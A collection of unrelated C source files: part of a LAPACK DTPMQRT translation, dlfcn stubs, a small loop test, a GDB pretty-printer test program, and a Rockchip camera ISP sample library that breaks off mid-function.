dtprfb_("L", "T", "F", "C", &mb, n, &ib, &lb, &v[i__ * v_dim1 + 1]
, ldv, &t[i__ * t_dim1 + 1], ldt, &a[i__ + a_dim1], lda, &
b[b_offset], ldb, &work[1], &ib);
}
} else if (right && notran) {
i__2 = *k;
i__1 = *nb;
for (i__ = 1; i__1 < 0 ? i__ >= i__2 : i__ <= i__2; i__ += i__1) {
/* Computing MIN */
i__3 = *nb, i__4 = *k - i__ + 1;
ib = f2cmin(i__3,i__4);
/* Computing MIN */
i__3 = *n - *l + i__ + ib - 1;
mb = f2cmin(i__3,*n);
if (i__ >= *l) {
lb = 0;
} else {
lb = mb - *n + *l - i__ + 1;
}
dtprfb_("R", "N", "F", "C", m, &mb, &ib, &lb, &v[i__ * v_dim1 + 1]
, ldv, &t[i__ * t_dim1 + 1], ldt, &a[i__ * a_dim1 + 1],
lda, &b[b_offset], ldb, &work[1], m);
}
} else if (left && notran) {
kf = (*k - 1) / *nb * *nb + 1;
i__1 = -(*nb);
for (i__ = kf; i__1 < 0 ? i__ >= 1 : i__ <= 1; i__ += i__1) {
/* Computing MIN */
i__2 = *nb, i__3 = *k - i__ + 1;
ib = f2cmin(i__2,i__3);
/* Computing MIN */
i__2 = *m - *l + i__ + ib - 1;
mb = f2cmin(i__2,*m);
if (i__ >= *l) {
lb = 0;
} else {
lb = mb - *m + *l - i__ + 1;
}
dtprfb_("L", "N", "F", "C", &mb, n, &ib, &lb, &v[i__ * v_dim1 + 1]
, ldv, &t[i__ * t_dim1 + 1], ldt, &a[i__ + a_dim1], lda, &
b[b_offset], ldb, &work[1], &ib);
}
} else if (right && tran) {
kf = (*k - 1) / *nb * *nb + 1;
i__1 = -(*nb);
for (i__ = kf; i__1 < 0 ? i__ >= 1 : i__ <= 1; i__ += i__1) {
/* Computing MIN */
i__2 = *nb, i__3 = *k - i__ + 1;
ib = f2cmin(i__2,i__3);
/* Computing MIN */
i__2 = *n - *l + i__ + ib - 1;
mb = f2cmin(i__2,*n);
if (i__ >= *l) {
lb = 0;
} else {
lb = mb - *n + *l - i__ + 1;
}
dtprfb_("R", "T", "F", "C", m, &mb, &ib, &lb, &v[i__ * v_dim1 + 1]
, ldv, &t[i__ * t_dim1 + 1], ldt, &a[i__ * a_dim1 + 1],
lda, &b[b_offset], ldb, &work[1], m);
}
}
return 0;
/* End of DTPMQRT */
} /* dtpmqrt_ */
|
the_stack_data/93887634.c
|
//
// dlfcn.c
// libc
//
// Created by Sidney Just
// Copyright (c) 2014 by Sidney Just
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
// documentation files (the "Software"), to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
// and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
// INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
// PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
// FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// !!!
// These are just stubs so the linker will link binaries that use one of the functions
// linkd patches these at runtime!
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wunused-parameter"
char *dlerror()
{
return (void *)0;
}
void *dlopen(const char *file, int flag)
{
return (void *)0;
}
void *dlsym(void *handle, const char *symbol)
{
return (void *)0;
}
void dlclose(void *handle)
{
}
#pragma clang diagnostic pop
|
the_stack_data/154830560.c
|
#include <stdio.h>
int main()
{
int i = 1;
while(i < 10)
{
print("while\n");
if(i % 5 == 0)
{
print("breaking while\n");
break;
}
i += 1;
}
for(i = 1; i < 10; i += 1)
{
print("for\n");
if(i % 5 == 0)
{
print("breaking for\n");
break;
}
}
return 0;
}
|
the_stack_data/73575039.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2008-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <string.h>
struct s
{
int a;
int *b;
};
struct ss
{
struct s a;
struct s b;
};
struct arraystruct
{
int y;
struct s x[2];
};
struct ns {
const char *null_str;
int length;
};
struct lazystring {
const char *lazy_str;
};
struct hint_error {
int x;
};
struct children_as_list {
int x;
};
#ifdef __cplusplus
struct S : public s {
int zs;
};
struct SS {
int zss;
S s;
};
struct SSS
{
SSS (int x, const S& r);
int a;
const S &b;
};
SSS::SSS (int x, const S& r) : a(x), b(r) { }
class VirtualTest
{
private:
int value;
public:
VirtualTest ()
{
value = 1;
}
};
class Vbase1 : public virtual VirtualTest { };
class Vbase2 : public virtual VirtualTest { };
class Vbase3 : public virtual VirtualTest { };
class Derived : public Vbase1, public Vbase2, public Vbase3
{
private:
int value;
public:
Derived ()
{
value = 2;
}
};
class Fake
{
int sname;
public:
Fake (const int name = 0):
sname (name)
{
}
};
#endif
struct substruct {
int a;
int b;
};
struct outerstruct {
struct substruct s;
int x;
};
struct outerstruct
substruct_test (void)
{
struct outerstruct outer;
outer.s.a = 0;
outer.s.b = 0;
outer.x = 0;
outer.s.a = 3; /* MI outer breakpoint here */
return outer;
}
typedef struct string_repr
{
struct whybother
{
const char *contents;
} whybother;
} string;
/* This lets us avoid malloc. */
int array[100];
int narray[10];
struct justchildren
{
int len;
int *elements;
};
typedef struct justchildren nostring_type;
struct memory_error
{
const char *s;
};
struct container
{
string name;
int len;
int *elements;
};
typedef struct container zzz_type;
string
make_string (const char *s)
{
string result;
result.whybother.contents = s;
return result;
}
zzz_type
make_container (const char *s)
{
zzz_type result;
result.name = make_string (s);
result.len = 0;
result.elements = 0;
return result;
}
void
add_item (zzz_type *c, int val)
{
if (c->len == 0)
c->elements = array;
c->elements[c->len] = val;
++c->len;
}
void
set_item(zzz_type *c, int i, int val)
{
if (i < c->len)
c->elements[i] = val;
}
void init_s(struct s *s, int a)
{
s->a = a;
s->b = &s->a;
}
void init_ss(struct ss *s, int a, int b)
{
init_s(&s->a, a);
init_s(&s->b, b);
}
void do_nothing(void)
{
int c;
c = 23; /* Another MI breakpoint */
}
struct nullstr
{
char *s;
};
struct string_repr string_1 = { { "one" } };
struct string_repr string_2 = { { "two" } };
static int
eval_func (int p1, int p2, int p3, int p4, int p5, int p6, int p7, int p8)
{
return p1;
}
static void
eval_sub (void)
{
struct eval_type_s { int x; } eval1 = { 1 }, eval2 = { 2 }, eval3 = { 3 },
eval4 = { 4 }, eval5 = { 5 }, eval6 = { 6 },
eval7 = { 7 }, eval8 = { 8 }, eval9 = { 9 };
eval1.x++; /* eval-break */
}
static void
bug_14741()
{
zzz_type c = make_container ("bug_14741");
add_item (&c, 71);
set_item(&c, 0, 42); /* breakpoint bug 14741 */
set_item(&c, 0, 5);
}
int
main ()
{
struct ss ss;
struct ss ssa[2];
struct arraystruct arraystruct;
string x = make_string ("this is x");
zzz_type c = make_container ("container");
zzz_type c2 = make_container ("container2");
const struct string_repr cstring = { { "const string" } };
/* Clearing by being `static' could invoke an other GDB C++ bug. */
struct nullstr nullstr;
nostring_type nstype, nstype2;
struct memory_error me;
struct ns ns, ns2;
struct lazystring estring, estring2;
struct hint_error hint_error;
struct children_as_list children_as_list;
nstype.elements = narray;
nstype.len = 0;
me.s = "blah";
init_ss(&ss, 1, 2);
init_ss(ssa+0, 3, 4);
init_ss(ssa+1, 5, 6);
memset (&nullstr, 0, sizeof nullstr);
arraystruct.y = 7;
init_s (&arraystruct.x[0], 23);
init_s (&arraystruct.x[1], 24);
ns.null_str = "embedded\0null\0string";
ns.length = 20;
/* Make a "corrupted" string. */
ns2.null_str = NULL;
ns2.length = 20;
estring.lazy_str = "embedded x\201\202\203\204" ;
/* Incomplete UTF-8, but ok Latin-1. */
estring2.lazy_str = "embedded x\302";
#ifdef __cplusplus
S cps;
cps.zs = 7;
init_s(&cps, 8);
SS cpss;
cpss.zss = 9;
init_s(&cpss.s, 10);
SS cpssa[2];
cpssa[0].zss = 11;
init_s(&cpssa[0].s, 12);
cpssa[1].zss = 13;
init_s(&cpssa[1].s, 14);
SSS sss(15, cps);
SSS& ref (sss);
Derived derived;
Fake fake (42);
#endif
add_item (&c, 23); /* MI breakpoint here */
add_item (&c, 72);
#ifdef MI
add_item (&c, 1011);
c.elements[0] = 1023;
c.elements[0] = 2323;
add_item (&c2, 2222);
add_item (&c2, 3333);
substruct_test ();
do_nothing ();
#endif
nstype.elements[0] = 7;
nstype.elements[1] = 42;
nstype.len = 2;
nstype2 = nstype;
eval_sub ();
bug_14741(); /* break to inspect struct and union */
return 0;
}
|
the_stack_data/90763407.c
|
// Copyright 2020 Fuzhou Rockchip Electronics Co., Ltd. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifdef RKAIQ
#include "sample_common.h"
#include <assert.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define MAX_AIQ_CTX 4
static rk_aiq_sys_ctx_t *g_aiq_ctx[MAX_AIQ_CTX];
static pthread_mutex_t aiq_ctx_mutex[MAX_AIQ_CTX] = {
PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER,
PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER};
pthread_mutex_t lock[MAX_AIQ_CTX] = {
PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER,
PTHREAD_MUTEX_INITIALIZER, PTHREAD_MUTEX_INITIALIZER};
static unsigned char gs_LDC_mode[MAX_AIQ_CTX] = {-1, -1, -1, -1};
rk_aiq_cpsl_cfg_t g_cpsl_cfg[MAX_AIQ_CTX];
rk_aiq_wb_gain_t gs_wb_auto_gain = {2.083900, 1.000000, 1.000000, 2.018500};
RK_U32 g_2dnr_default_level = 50;
RK_U32 g_3dnr_default_level = 50;
rk_aiq_working_mode_t g_WDRMode[MAX_AIQ_CTX];
typedef enum _SHUTTERSPEED_TYPE_E {
SHUTTERSPEED_1_25 = 0,
SHUTTERSPEED_1_30,
SHUTTERSPEED_1_75,
SHUTTERSPEED_1_100,
SHUTTERSPEED_1_120,
SHUTTERSPEED_1_150,
SHUTTERSPEED_1_250,
SHUTTERSPEED_1_300,
SHUTTERSPEED_1_425,
SHUTTERSPEED_1_600,
SHUTTERSPEED_1_1000,
SHUTTERSPEED_1_1250,
SHUTTERSPEED_1_1750,
SHUTTERSPEED_1_2500,
SHUTTERSPEED_1_3000,
SHUTTERSPEED_1_6000,
SHUTTERSPEED_1_10000,
SHUTTERSPEED_BUTT
} SHUTTERSPEED_TYPE_E;
typedef struct rk_SHUTTER_ATTR_S {
SHUTTERSPEED_TYPE_E enShutterSpeed;
float fExposureTime;
} SHUTTER_ATTR_S;
static SHUTTER_ATTR_S g_stShutterAttr[SHUTTERSPEED_BUTT] = {
{SHUTTERSPEED_1_25, 1.0 / 25.0}, {SHUTTERSPEED_1_30, 1.0 / 30.0},
{SHUTTERSPEED_1_75, 1.0 / 75.0}, {SHUTTERSPEED_1_100, 1.0 / 100.0},
{SHUTTERSPEED_1_120, 1.0 / 120.0}, {SHUTTERSPEED_1_150, 1.0 / 150.0},
{SHUTTERSPEED_1_250, 1.0 / 250.0}, {SHUTTERSPEED_1_300, 1.0 / 300.0},
{SHUTTERSPEED_1_425, 1.0 / 425.0}, {SHUTTERSPEED_1_600, 1.0 / 600.0},
{SHUTTERSPEED_1_1000, 1.0 / 1000.0}, {SHUTTERSPEED_1_1250, 1.0 / 1250.0},
{SHUTTERSPEED_1_1750, 1.0 / 1750.0}, {SHUTTERSPEED_1_2500, 1.0 / 2500.0},
{SHUTTERSPEED_1_3000, 1.0 / 3000.0}, {SHUTTERSPEED_1_6000, 1.0 / 6000.0},
{SHUTTERSPEED_1_10000, 1.0 / 10000.0}};
typedef enum rk_HDR_MODE_E {
HDR_MODE_OFF,
HDR_MODE_HDR2,
HDR_MODE_HDR3,
} HDR_MODE_E;
RK_S32 SAMPLE_COMM_ISP_Init(RK_S32 CamId, rk_aiq_working_mode_t WDRMode,
RK_BOOL MultiCam, const char *iq_file_dir) {
if (CamId >= MAX_AIQ_CTX) {
printf("%s : CamId is over 3\n", __FUNCTION__);
return -1;
}
// char *iq_file_dir = "iqfiles/";
setlinebuf(stdout);
if (iq_file_dir == NULL) {
printf("SAMPLE_COMM_ISP_Init : not start.\n");
g_aiq_ctx[CamId] = NULL;
return 0;
}
// must set HDR_MODE, before init
g_WDRMode[CamId] = WDRMode;
char hdr_str[16];
snprintf(hdr_str, sizeof(hdr_str), "%d", (int)WDRMode);
setenv("HDR_MODE", hdr_str, 1);
rk_aiq_sys_ctx_t *aiq_ctx;
rk_aiq_static_info_t aiq_static_info;
rk_aiq_uapi_sysctl_enumStaticMetas(CamId, &aiq_static_info);
printf("ID: %d, sensor_name is %s, iqfiles is %s\n", CamId,
aiq_static_info.sensor_info.sensor_name, iq_file_dir);
aiq_ctx = rk_aiq_uapi_sysctl_init(aiq_static_info.sensor_info.sensor_name,
iq_file_dir, NULL, NULL);
if (MultiCam)
rk_aiq_uapi_sysctl_setMulCamConc(aiq_ctx, true);
g_aiq_ctx[CamId] = aiq_ctx;
return 0;
}
RK_S32 SAMPLE_COMM_ISP_UpdateIq(RK_S32 CamId, char *iqfile) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
printf(" rk_aiq_uapi_sysctl_updateIq %s\n", iqfile);
ret = rk_aiq_uapi_sysctl_updateIq(g_aiq_ctx[CamId], iqfile);
return ret;
}
/*
set after SAMPLE_COMM_ISP_Init and before SAMPLE_COMM_ISP_Run
*/
RK_S32 SAMPLE_COMM_ISP_SetFecEn(RK_S32 CamId, RK_BOOL bFECEnable) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
printf("rk_aiq_uapi_sysctl_init bFECEnable %d\n", bFECEnable);
ret = rk_aiq_uapi_setFecEn(g_aiq_ctx[CamId], bFECEnable);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_Stop(RK_S32 CamId) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
printf("rk_aiq_uapi_sysctl_stop enter\n");
rk_aiq_uapi_sysctl_stop(g_aiq_ctx[CamId], false);
printf("rk_aiq_uapi_sysctl_deinit enter\n");
rk_aiq_uapi_sysctl_deinit(g_aiq_ctx[CamId]);
printf("rk_aiq_uapi_sysctl_deinit exit\n");
g_aiq_ctx[CamId] = NULL;
return 0;
}
RK_S32 SAMPLE_COMM_ISP_Run(RK_S32 CamId) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
if (rk_aiq_uapi_sysctl_prepare(g_aiq_ctx[CamId], 0, 0, g_WDRMode[CamId])) {
printf("rkaiq engine prepare failed !\n");
g_aiq_ctx[CamId] = NULL;
return -1;
}
printf("rk_aiq_uapi_sysctl_init/prepare succeed\n");
if (rk_aiq_uapi_sysctl_start(g_aiq_ctx[CamId])) {
printf("rk_aiq_uapi_sysctl_start failed\n");
return -1;
}
printf("rk_aiq_uapi_sysctl_start succeed\n");
return 0;
}
RK_S32 SAMPLE_COMM_ISP_DumpExpInfo(RK_S32 CamId,
rk_aiq_working_mode_t WDRMode) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
char aStr[128] = {'\0'};
Uapi_ExpQueryInfo_t stExpInfo;
rk_aiq_wb_cct_t stCCT;
RK_S32 ret = 0;
ret = rk_aiq_user_api_ae_queryExpResInfo(g_aiq_ctx[CamId], &stExpInfo);
ret |= rk_aiq_user_api_awb_GetCCT(g_aiq_ctx[CamId], &stCCT);
if (WDRMode == RK_AIQ_WORKING_MODE_NORMAL) {
sprintf(aStr, "M:%.0f-%.1f LM:%.1f CT:%.1f",
stExpInfo.CurExpInfo.LinearExp.exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.LinearExp.exp_real_params.analog_gain,
stExpInfo.MeanLuma, stCCT.CCT);
} else {
sprintf(aStr,
"S:%.0f-%.1f M:%.0f-%.1f L:%.0f-%.1f SLM:%.1f MLM:%.1f "
"LLM:%.1f CT:%.1f",
stExpInfo.CurExpInfo.HdrExp[0].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[0].exp_real_params.analog_gain,
stExpInfo.CurExpInfo.HdrExp[1].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[1].exp_real_params.analog_gain,
stExpInfo.CurExpInfo.HdrExp[2].exp_real_params.integration_time *
1000 * 1000,
stExpInfo.CurExpInfo.HdrExp[2].exp_real_params.analog_gain,
stExpInfo.HdrMeanLuma[0], stExpInfo.HdrMeanLuma[1],
stExpInfo.HdrMeanLuma[2], stCCT.CCT);
}
printf("isp exp dump: %s\n", aStr);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SetFrameRate(RK_S32 CamId, RK_U32 uFps) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
printf("SAMPLE_COMM_ISP_SetFrameRate start %d\n", uFps);
frameRateInfo_t info;
info.mode = OP_MANUAL;
info.fps = uFps;
ret = rk_aiq_uapi_setFrameRate(g_aiq_ctx[CamId], info);
printf("SAMPLE_COMM_ISP_SetFrameRate %d\n", uFps);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SetLDCHLevel(RK_S32 CamId, RK_U32 level) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
ret = rk_aiq_uapi_setLdchEn(g_aiq_ctx[CamId], level > 0);
if (level > 0 && level <= 255)
ret |= rk_aiq_uapi_setLdchCorrectLevel(g_aiq_ctx[CamId], level);
return ret;
}
/*only support switch between HDR and normal*/
RK_S32 SAMPLE_COMM_ISP_SetWDRModeDyn(RK_S32 CamId,
rk_aiq_working_mode_t WDRMode) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
ret = rk_aiq_uapi_sysctl_swWorkingModeDyn(g_aiq_ctx[CamId], WDRMode);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Brightness(RK_S32 CamId, RK_U32 value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setBrightness(g_aiq_ctx[CamId], value); // value[0,255]
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Contrast(RK_S32 CamId, RK_U32 value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setContrast(g_aiq_ctx[CamId], value); // value[0,255]
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Saturation(RK_S32 CamId, RK_U32 value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setSaturation(g_aiq_ctx[CamId], value); // value[0,255]
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Sharpness(RK_S32 CamId, RK_U32 value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
RK_U32 level = value / 2.55;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setSharpness(g_aiq_ctx[CamId],
level); // value[0,255]->level[0,100]
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_ManualExposureAutoGain(RK_S32 CamId,
RK_U32 u32Shutter) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
Uapi_ExpSwAttr_t stExpSwAttr;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_user_api_ae_getExpSwAttr(g_aiq_ctx[CamId], &stExpSwAttr);
stExpSwAttr.AecOpType = RK_AIQ_OP_MODE_MANUAL;
stExpSwAttr.stManual.stLinMe.ManualGainEn = RK_FALSE;
stExpSwAttr.stManual.stLinMe.ManualTimeEn = RK_TRUE;
stExpSwAttr.stManual.stLinMe.TimeValue =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
stExpSwAttr.stManual.stHdrMe.ManualGainEn = RK_FALSE;
stExpSwAttr.stManual.stHdrMe.ManualTimeEn = RK_TRUE;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[0] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[1] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[2] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
ret |= rk_aiq_user_api_ae_setExpSwAttr(g_aiq_ctx[CamId], stExpSwAttr);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_ManualExposureManualGain(RK_S32 CamId,
RK_U32 u32Shutter,
RK_U32 u32Gain) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
Uapi_ExpSwAttr_t stExpSwAttr;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_user_api_ae_getExpSwAttr(g_aiq_ctx[CamId], &stExpSwAttr);
stExpSwAttr.AecOpType = RK_AIQ_OP_MODE_MANUAL;
stExpSwAttr.stManual.stLinMe.ManualGainEn = RK_TRUE;
stExpSwAttr.stManual.stLinMe.ManualTimeEn = RK_TRUE;
stExpSwAttr.stManual.stLinMe.TimeValue =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
//(1+gain)*4;//gain[0~255] -> GainValue[1~1024]
stExpSwAttr.stManual.stLinMe.GainValue = (1.0 + u32Gain);
stExpSwAttr.stManual.stHdrMe.ManualGainEn = RK_TRUE;
stExpSwAttr.stManual.stHdrMe.ManualTimeEn = RK_TRUE;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[0] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[1] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
stExpSwAttr.stManual.stHdrMe.TimeValue.fCoeff[2] =
g_stShutterAttr[u32Shutter % SHUTTERSPEED_BUTT].fExposureTime;
//(1+gain)*4;//gain[0~255] -> GainValue[1~1024]
stExpSwAttr.stManual.stHdrMe.GainValue.fCoeff[0] = (1.0 + u32Gain);
//(1+gain)*4;//gain[0~255] -> GainValue[1~1024]
stExpSwAttr.stManual.stHdrMe.GainValue.fCoeff[1] = (1.0 + u32Gain);
//(1+gain)*4;//gain[0~255] -> GainValue[1~1024]
stExpSwAttr.stManual.stHdrMe.GainValue.fCoeff[2] = (1.0 + u32Gain);
ret |= rk_aiq_user_api_ae_setExpSwAttr(g_aiq_ctx[CamId], stExpSwAttr);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_AutoExposure(RK_S32 CamId) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
Uapi_ExpSwAttr_t stExpSwAttr;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_user_api_ae_getExpSwAttr(g_aiq_ctx[CamId], &stExpSwAttr);
stExpSwAttr.AecOpType = RK_AIQ_OP_MODE_AUTO;
ret |= rk_aiq_user_api_ae_setExpSwAttr(g_aiq_ctx[CamId], stExpSwAttr);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Exposure(RK_S32 CamId, RK_BOOL bIsAutoExposure,
RK_U32 bIsAGC, RK_U32 u32ElectronicShutter,
RK_U32 u32Agc) {
RK_S32 ret = 0;
if (!bIsAutoExposure) {
if (bIsAGC) {
ret = SAMPLE_COMM_ISP_SET_ManualExposureAutoGain(CamId,
u32ElectronicShutter);
} else {
ret = SAMPLE_COMM_ISP_SET_ManualExposureManualGain(
CamId, u32ElectronicShutter, u32Agc);
}
} else {
ret = SAMPLE_COMM_ISP_SET_AutoExposure(CamId);
}
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_BackLight(RK_S32 CamId, RK_BOOL bEnable,
RK_U32 u32Strength) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (bEnable) {
ret =
rk_aiq_uapi_setBLCMode(g_aiq_ctx[CamId], RK_TRUE, AE_MEAS_AREA_AUTO);
usleep(30000);
//[0~2]->[1~100]
ret |=
rk_aiq_uapi_setBLCStrength(g_aiq_ctx[CamId], 33 * (u32Strength + 1));
} else {
ret =
rk_aiq_uapi_setBLCMode(g_aiq_ctx[CamId], RK_FALSE, AE_MEAS_AREA_AUTO);
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_LightInhibition(RK_S32 CamId, RK_BOOL bEnable,
RK_U8 u8Strength, RK_U8 u8Level) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (bEnable) {
ret = rk_aiq_uapi_setHLCMode(g_aiq_ctx[CamId], RK_TRUE);
if (ret == 0) {
//[0~255] -> level[0~100]
ret = rk_aiq_uapi_setHLCStrength(g_aiq_ctx[CamId], u8Strength / 2.55);
//[0~255] -> level[0~10]
ret = rk_aiq_uapi_setDarkAreaBoostStrth(g_aiq_ctx[CamId], u8Level / 25);
}
} else {
ret = rk_aiq_uapi_setHLCMode(g_aiq_ctx[CamId], RK_FALSE);
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_CPSL_CFG(RK_S32 CamId, rk_aiq_cpsl_cfg_t *cpsl) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_sysctl_setCpsLtCfg(g_aiq_ctx[CamId], cpsl);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_OpenColorCloseLed(RK_S32 CamId) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
